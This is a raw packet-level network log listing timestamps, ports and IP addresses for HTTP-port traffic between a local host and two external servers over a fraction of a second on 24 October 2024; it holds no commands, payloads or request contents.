Oct 24, 2024 08:38:30.992079020 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.992106915 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.992106915 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.992244005 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.992263079 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.992305040 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.992305040 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.992319107 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.992337942 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.992357016 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.992363930 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.992396116 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.992396116 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.992564917 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.992577076 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.992589951 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.992623091 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.992623091 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.992639065 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.992650032 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.992681980 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.992907047 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.992953062 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.992970943 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.992983103 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.993009090 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.993009090 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.993146896 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.993154049 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.993165016 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.993176937 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.993200064 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.993200064 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.993235111 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.993334055 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.993345022 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.993356943 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.993393898 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.993393898 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.993415117 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.993427992 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.993438959 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.993451118 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.993460894 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.993479013 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.993479013 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.993562937 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.994012117 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.994064093 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.994076014 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.994087934 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.994111061 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.994111061 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.994199991 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.033051014 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.033063889 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.033075094 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.033107042 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.033175945 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.033281088 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.033291101 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.033303022 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.033322096 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.033334017 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.033339024 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.033354998 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.033361912 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.033399105 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.033409119 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.033422947 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.033432961 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.033464909 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.033474922 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.046828032 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.046889067 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.047002077 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.047013044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.047025919 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.047038078 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.047039986 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.047068119 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.047103882 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.047178984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.047223091 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.047250032 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.047308922 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.047420979 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.047434092 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.047446966 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.047471046 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.047498941 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.047544956 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.047584057 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.048196077 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.048207998 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.048218966 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.048242092 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.048283100 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.079408884 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.079458952 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.079483032 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.079492092 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.079492092 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.079502106 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.079531908 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.079531908 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.084243059 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.084280968 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.084292889 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.084305048 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.084321022 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.084336042 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.111605883 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.111649990 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.111663103 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.111665964 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.111696959 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.111709118 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.111711025 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.111711025 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.111721992 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.111736059 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.111749887 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.111749887 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.111772060 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.111778975 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.111790895 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.111803055 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.111818075 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.111818075 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.111848116 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.111973047 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.111984015 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.112016916 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.112052917 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.112054110 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.112066031 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.112076998 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.112138033 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.112138033 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.112159967 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.112171888 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.112185955 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.112199068 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.112225056 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.112225056 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.112267017 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.112973928 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.113082886 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.113141060 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.113197088 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.113329887 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.113342047 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.113348007 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.113354921 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.113362074 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.113496065 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.113588095 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.113599062 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.113651991 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.113651991 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.114057064 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.114067078 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.114238977 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.114238977 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.114249945 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.114262104 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.114272118 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.114281893 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.114291906 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.114316940 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.114384890 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.152467012 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.152503967 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.152525902 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.152537107 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.152543068 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.152575970 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.152581930 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.152617931 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.152627945 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.152663946 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.152669907 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.152707100 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.152753115 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.152786016 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.152825117 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.152853966 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.152859926 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.152895927 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.152910948 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.162471056 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.162482023 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.162516117 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.162533045 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.162543058 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.162553072 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.162554026 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.162565947 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.162569046 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.162580013 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.162580013 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.162590981 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.162599087 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.162604094 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.162612915 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.162616968 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.162663937 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.162663937 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.162914038 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.162957907 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.162961006 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.162972927 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.162991047 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.163007021 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.163301945 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.163338900 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.163372040 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.163408995 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.198968887 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.199023962 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.199131966 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.199142933 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.199147940 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.199191093 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.199218988 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.199575901 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.199618101 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.199722052 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.199733973 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.199744940 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.199763060 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.199780941 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.199790001 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.231148005 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.231158972 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.231172085 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.231183052 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.231184959 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.231195927 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.231231928 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.231270075 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.231281042 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.231292009 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.231304884 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.231307030 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.231334925 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.231357098 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.231465101 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.231502056 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.231646061 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.231656075 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.231683016 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.231695890 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.231828928 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.231841087 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.231852055 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.231879950 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.231880903 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.231971979 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.232012033 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.232043982 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.232054949 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.232067108 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.232079029 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.232079029 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.232096910 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.232105017 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.232119083 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.232136011 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.232167959 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.232268095 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.232280016 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.232291937 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.232304096 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.232304096 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.232316971 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.232327938 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.232331991 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.232340097 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.232352018 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.232355118 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.232364893 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.232379913 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.232405901 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.233055115 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.233098984 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.233181953 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.233218908 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.233382940 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.233396053 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.233407021 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.233428001 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.233457088 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.271764040 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.271776915 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.271796942 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.271806955 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.271810055 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.271817923 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.271847010 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.271853924 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.271857977 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.271882057 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.271898031 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.272053957 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.272092104 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.272102118 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.272135973 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.272156954 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.272169113 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.272178888 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.272196054 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.272212029 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.277096033 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.277106047 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.277141094 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.277154922 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.277159929 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.277193069 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.277206898 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.277218103 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.277224064 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.277224064 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.277242899 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.277256966 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.277724981 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.277766943 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.277775049 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.277779102 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.277791977 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.277810097 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.277849913 CEST	61014	80	192.168.2.5	185.215.113.37
